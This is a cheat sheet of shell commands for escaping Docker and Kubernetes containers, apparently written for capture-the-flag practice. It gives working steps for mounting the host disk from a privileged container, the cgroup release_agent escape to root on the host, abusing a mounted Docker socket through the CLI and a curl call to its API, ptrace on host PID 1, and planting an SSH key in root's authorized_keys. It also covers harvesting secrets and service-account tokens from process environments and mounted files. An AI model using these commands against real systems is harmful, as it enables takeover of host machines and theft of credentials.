# Check for container indicators ls /.dockerenv # exists → Docker container cat /proc/1/cgroup # look for docker/kubepods cat /proc/self/cgroup | grep -i "docker\|lxc\|kubepods" # Hostname usually a container ID hostname # e.g. a3f2b1c4d5e6 # /proc/1/environ — init env (may leak secrets) cat /proc/1/environ | tr '\0' '\n' strings /proc/1/environ | grep -i "flag\|secret\|pass\|key" # Few processes = container ps aux | wc -l # Check capabilities cat /proc/self/status | grep Cap capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}') # Full caps = 0000003fffffffff → privileged
| Check | Command | If true → escape via |
|---|---|---|
| Privileged | cat /proc/self/status | grep CapEff | Mount host disk |
| Docker socket | ls /var/run/docker.sock | Create privileged container |
| Host / | ls /host /mnt/host | chroot to host |
| Writable cgroup | ls /sys/fs/cgroup | cgroup notify_on_release |
| SYS_PTRACE cap | capsh --print | grep ptrace | ptrace host process |
| Env secrets | env; cat /proc/1/environ | Read flag directly |
| Mounted secrets | mount | grep secret | Read secret file |
# In a privileged container you can mount any device # Step 1: find host disk fdisk -l # or lsblk ls /dev/sd* /dev/vd* /dev/nvme* # Step 2: mount it mkdir /mnt/host mount /dev/sda1 /mnt/host # Step 3: access host filesystem ls /mnt/host/root/ # root's home cat /mnt/host/etc/shadow # hashes cat /mnt/host/root/flag.txt # flag! # Step 4: chroot for full host shell chroot /mnt/host /bin/bash # Alternative: write SSH key to host mkdir -p /mnt/host/root/.ssh echo "ssh-rsa AAAA... attacker" >> /mnt/host/root/.ssh/authorized_keys # Then: ssh root@host-ip
# Classic privileged escape via cgroup v1 # Requires: CAP_SYS_ADMIN (privileged) # Check writable cgroup mount | grep cgroup ls /sys/fs/cgroup/memory/ mkdir /tmp/cgrp mount -t cgroup -o memory cgroup /tmp/cgrp mkdir /tmp/cgrp/x echo 1 > /tmp/cgrp/x/notify_on_release # Find host path of container host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab) # Write command to execute on host echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo "id > $host_path/output" >> /cmd chmod a+x /cmd # Trigger: release the cgroup sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" cat /output # root on host!
# If /var/run/docker.sock is mounted in container ls -la /var/run/docker.sock # writable? # Create new privileged container with host / docker run -it --privileged --pid=host \ -v /:/host \ alpine chroot /host # Or just read the flag directly docker run -it -v /:/host alpine cat /host/root/flag.txt # List running containers from inside docker ps # Access host process namespace docker run -it --pid=host alpine ps aux
# If docker CLI not available, use curl to API # List containers curl --unix-socket /var/run/docker.sock \ http://localhost/containers/json # Create privileged container curl --unix-socket /var/run/docker.sock \ -X POST -H "Content-Type: application/json" \ -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/root/flag.txt"],"Binds":["/:/host"],"Privileged":true}' \ http://localhost/containers/create # Start it curl --unix-socket /var/run/docker.sock \ -X POST \ http://localhost/containers/<id>/start # Get logs (output) curl --unix-socket /var/run/docker.sock \ http://localhost/containers/<id>/logs?stdout=1
| Capability | Escape method |
|---|---|
| CAP_SYS_ADMIN | Mount filesystems, cgroup escape, many options critical |
| CAP_SYS_PTRACE | ptrace any process on host → inject code critical |
| CAP_NET_ADMIN | Modify routing, create network interfaces |
| CAP_SYS_MODULE | Load kernel modules → kernel code exec critical |
| CAP_DAC_READ_SEARCH | Read any file on host (if volume mounted) |
| CAP_SYS_RAWIO | Raw I/O to devices → read /dev/mem |
| CAP_SETUID | Elevate to root within container |
# Check capabilities capsh --print cat /proc/self/status | grep Cap capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}') # SYS_PTRACE escape: inject into host process # With --pid=host and SYS_PTRACE: attach to PID 1 python3 -c " import ctypes libc = ctypes.CDLL(None) libc.ptrace(0, 1, 0, 0) # PTRACE_ATTACH, pid=1 "
# Current process env env printenv cat /proc/self/environ | tr '\0' '\n' # PID 1 env (often has more vars) cat /proc/1/environ | tr '\0' '\n' strings /proc/1/environ # All process envs for pid in /proc/[0-9]*; do echo "=== PID ${pid##*/} ===" cat $pid/environ 2>/dev/null | tr '\0' '\n' | grep -i "flag\|secret\|key\|pass" done # Kubernetes secrets (mounted) ls /var/run/secrets/kubernetes.io/serviceaccount/ cat /var/run/secrets/kubernetes.io/serviceaccount/token # Docker secrets ls /run/secrets/ cat /run/secrets/flag
# Check all mounts mount cat /proc/mounts df -h # Look for host paths mount | grep -v "overlay\|proc\|sys\|tmpfs\|cgroup\|devpts" # Common CTF mount paths ls /host /mnt /data /app /secret /flag 2>/dev/null # Check for sensitive host files mounted ls /etc/ssl/private/ 2>/dev/null ls /root/.ssh/ 2>/dev/null cat /flag 2>/dev/null find / -name "flag*" -o -name "*.flag" 2>/dev/null | head -10 # Docker config (may have registry creds) cat /root/.docker/config.json 2>/dev/null
cat /proc/self/status | grep CapEff — check caps
② ls /var/run/docker.sock — docker socket
③ cat /proc/1/environ | tr '\0' '\n' — env secrets
④ mount | grep -v overlay — host mounts
⑤ Privileged → fdisk -l → mount host disk → chroot
⑥ Docker socket → docker run -v /:/host alpine chroot /host
⑦ find / -name "flag*" 2>/dev/null